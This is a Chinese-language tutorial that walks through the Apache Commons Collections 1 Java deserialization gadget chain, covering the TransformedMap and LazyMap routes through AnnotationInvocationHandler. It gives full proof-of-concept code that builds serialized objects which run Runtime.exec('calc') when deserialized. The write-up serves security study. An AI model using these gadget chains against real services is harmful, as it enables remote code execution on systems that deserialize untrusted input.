Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发。
在Commons Collections中实现了一个TransformedMap类,该类是对 Java 标准数据结构类型Map接口的一个扩展。该类可以在一个Map元素加入到集合内时,自动对该元素进行特定的修饰变化,而具体的变换逻辑则由Transformer类定义,TransformerTransformedMap实例化时作为参数传入

TransformedMap链前置知识

利用条件

利用版本:CommonsCollections 3.1 - 3.2.1 限制:jdk 8u71 版本之前

接口类与实现类

Transformer

Transformer#transform
Transformer接口定义了一个对象修饰变化的方法transform。

public interface Transformer {
    public Object transform(Object input);
}

一些重要类
该接口的重要实现类:ConstantTransformerinvokerTransformerChainedTransformer,以及调用了invokerTransformer实现类的TransformedMap

ConstantTransformer

当调用transform方法时对传入的对象不会做任何处理,直接返回构造函数中传入的对象。它的作用便是包装任意一个对象,在执行transform回调时返回这个对象
ConstantTransformer#ConstantTransformerConstantTransformer#transform

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return iConstant;
    }

InvokerTransformer

InvokerTransformer执行类,在该类的transform方法中实现了类方法的动态调用(及存在任意方法执行)
InvokerTransformer#InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

InvokerTransformer#transform

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

InvokerTransformer#transform中存在任意方法执行,其中iMethodName,iParamTypes,iArgs均可控。

Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

正常反射执行

public class Cc1 {
    public static void main(String[] arges) throws Exception {
        Class<?> runtime = Class.forName("java.lang.Runtime");
        Method getRuntime = runtime.getMethod("getRuntime");
        Method exec = runtime.getMethod("exec", String.class);
        Object input = getRuntime.invoke(runtime);
        exec.invoke(input,"calc");
    }
}

使用InvokerTransformer#transform进行方法执行

public class Cc1 {
    public static void main(String[] arges) throws Exception {
//        参数1:是待执行的方法名,参数2:是待执行方法的参数类型,参数3:待执行方法的参数列表
        Method Method = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        Object obj = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(Method);
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(obj);

    }
}

ChainedTransformer

ChainedTransformer#ChainedTransformer

public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

ChainedTransformer#transform

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

ChainedTransformer#transform方法是对Transformer实现类们的链式调用,当传入一个Transformer数组时,ChainedTransformer就会依次调用每一个Transformertransform回调方法,并将前一个回调返回的结果,作为后一个回调的参数传入。
Transformer数组中第一个Transformertransform方法传入为外部ChainedTransformer(transformers).transform(Runtime.class)transform方法的传入。
不难看出之前使用InvokerTransformer#transform进行方法执行的代码中便是将上一行返回的对象变成下一行transform方法的传入。

示例:用ChainedTransformer#transform重写前面的任意方法执行代码

public class Cc1 {
    public static void main(String[] arges) throws Exception {
//        参数1:是待执行的方法名,参数2:是待执行方法的参数类型,参数3:待执行方法的参数列表
        Transformer[] transformers = {
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        new ChainedTransformer(transformers).transform(Runtime.class);
    }
}

TransformedMap

这里引入TransformedMap类,org.apache.commons.collections.map.TransformedMap类间接的实现了java.util.Map接口,同时支持对Map的key或者value进行Transformer转换。

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

该构造函数为protected,因此应该存在内部调用。通过调用decorate()decorateTransform()方法都可以调用TransformedMap()的构造函数TransformedMap#TransformedMap

TransformedMap#decorate
可构造TransformedMap

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

可以发现在TransformedMap类中通过checkSetValue()put()putAll()方法都可以调用构造时传进来的Transform类(例如InvokerTransformerChainedTransformer)的transform()方法。但是put()putAll()是分别通过transformKey()transformValue()间接调用

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

    public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value);
        return getMap().put(key, value);
    }

    public void putAll(Map mapToCopy) {
        mapToCopy = transformMap(mapToCopy);
        getMap().putAll(mapToCopy);
    }


    protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            return object;
        }
        return keyTransformer.transform(object);
    }
    protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }

TransformedMap链

执行类
InvokerTransformer#transformer中存在任意方法执行,因此可以该类为执行类。
调用链

入口类
AnnotationInvocationHandler.readObject()

InvokerTransformer#transformer
InvokerTransformer#transformer中可任意方法执行,我们向上查找谁调用了该方法

TransformedMap中存在多次调用进行更进。

TransformedMap#checkSetValue

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

继续向上查找谁调用了checkSetValue(),发现只存在一处调用。

AbstractInputCheckedMapDecorator#setValue
AbstractInputCheckedMapDecorator类的MapEntry()方法调用了checkSetValue()

static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

在此处的调用链编写:

public class Cc1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = {
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        //使用MapEntry的setValue方法执行时需给map赋值
        map.put("1","2");
        Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
        //使用TransformedMap的put方法执行
        //decorateMap.put("1",Runtime.class);
        //使用MapEntry的setValue方法执行
        for(Map.Entry entry: decorateMap.entrySet()){
            entry.setValue(Runtime.class);
        }
    }
}

接下来就是查找何处调用了setValue(),最好是某处的readObject()

AnnotationInvocationHandler
AnnotationInvocationHandler类中找到了重构后的readObject()方法,并存在调用setValue()的地方。

AnnotationInvocationHandler#AnnotationInvocationHandler

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

该构造函数的第一个参数是Class需要继承Annotation注解,第二个是参数就是前面通过decorate构造的TransformedMap
构造POC的时候,需要创建一个AnnotationInvocationHandler对象,而AnnotationInvocationHandler不能直接获取因为该构造函数没有设置访问属性,默认为protected,所以需要通过反射来获取。

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, decorateMap);

AnnotationInvocationHandler#readObject

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

核心逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet()memberValue.setValue(...).
memberValues便是执行构造函数时传入的Map,也是经过了TransformedMap#decorate修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里的checkSetValue()中的transform(),进而执行我们为其精心设计的任意代码。
在此之前还需要满足一些条件才能进入调用setValue()的地方。

//Map<String, Class<?>> memberTypes = annotationType.memberTypes();
//获取我们传入的type的成员变量。type为注解类,及该注解类需要有成员变量。
if (memberType != null) {  // i.e. member still exists
//且被 TransformedMap.decorate 修饰的Map中必须有一个键名与注解类中的成员变量的名字相同。
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
/**此处new AnnotationTypeMismatchExceptionProxy为不可控参数,并不能控制它为Runtime.class,这时前面的ConstantTransformer就派上用场了,当调用ConstantTransformer#transform方法时对传入的对象(AnnotationTypeMismatchExceptionProxy)不会做任何处理,直接返回构造函数中
传入(new ConstantTransformer(Runtime.class))的对象。它的作用便是包装任意一个
对象,在执行`transform`回调时返回这个对象**/
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }

完整poc

package Cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class TestCc1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> map = new HashMap<>();
        map.put("value","2");
        Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);


//        反射获取AnnotationInvocationHandler
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Target.class, decorateMap);
//        serialize(obj);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        o.writeObject(obj);
    }
    public static Object unserialize(String s) throws IOException, ClassNotFoundException {
        ObjectInputStream o = new ObjectInputStream(new FileInputStream(s));
        return o.readObject();
    }
}

LazyMap


org.apache.commons.collections.map.LazyMapTransformedMap 类似,不过不同是调用 get() 方法时会检查key是否在map中,如果不存在则会触发 factory.transform(key)方法。

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

factory为构造LazyMap时传入的参数是可控的。

protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

构造一下当前的利用链:

package Cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Cc1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object,Object> map = new HashMap<>();

        Map lazyMap = LazyMap.decorate(map,chainedTransformer);
        lazyMap.get(null);

    }
}

接下来便是查找什么地方调用了get()方法在sun.reflect.annotation.AnnotationInvocationHandlerreadObject()方法中并没有直接调用到LazyMap的get方法。所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke()方法有调用到get方法

public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

Object result = memberValues.get(member);memberValues为构造AnnotationInvocationHandler对象时传入的参数(及LazyMap)。

那又如何能调用到AnnotationInvocationHandler#invoke 呢?ysoserial的作者是利用了Java的对象代理。

在使用带有装饰器的 LazyMap 初始化 AnnotationInvocationHandler 之前,先使用 AnnotationInvocationHandler 代理一下 LazyMap,使用代理后得到的LazyMapProxy(代理对象)初始化AnnotationInvocationHandler(我们不能直接对LazyMapProxy代理对象进行序列化,因为我们的入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject),这样反序列化 AnnotationInvocationHandler 时,只要调用 LazyMapProxy (代理对象)的
任意方法(此处为entrySet()))就会调用代理类的 invoke() 方法,从而触发 LazyMapget() 方法。

完整poc

package Cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Cc1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object,Object> map = new HashMap<>();

        Map lazyMap = LazyMap.decorate(map,chainedTransformer);
//        lazyMap.get(null);

//        通过反射获取AnnotationInvocationHandler
        Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> Constructor = cls.getDeclaredConstructor(Class.class, Map.class);
        Constructor.setAccessible(true);
        // 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
        InvocationHandler handler = (InvocationHandler)Constructor.newInstance(Target.class, lazyMap);
        // 创建LazyMap的动态代理类实例
        Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), handler);
        // 使用动态代理初始化 AnnotationInvocationHandler
        handler = (InvocationHandler)Constructor.newInstance(Target.class, lazyMapProxy);
//        serialize(handler);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        o.writeObject(obj);
    }
    public static Object unserialize(String s) throws IOException, ClassNotFoundException {
        ObjectInputStream o = new ObjectInputStream(new FileInputStream(s));
        return o.readObject();
    }
}

参考链接:

https://www.le1a.com/post/%E6%B5%85%E8%B0%88Commons-Collections1%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

http://www.bmth666.cn/bmth_blog/2022/02/21/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BCommonsCollections%E9%93%BE/#LazyMap-1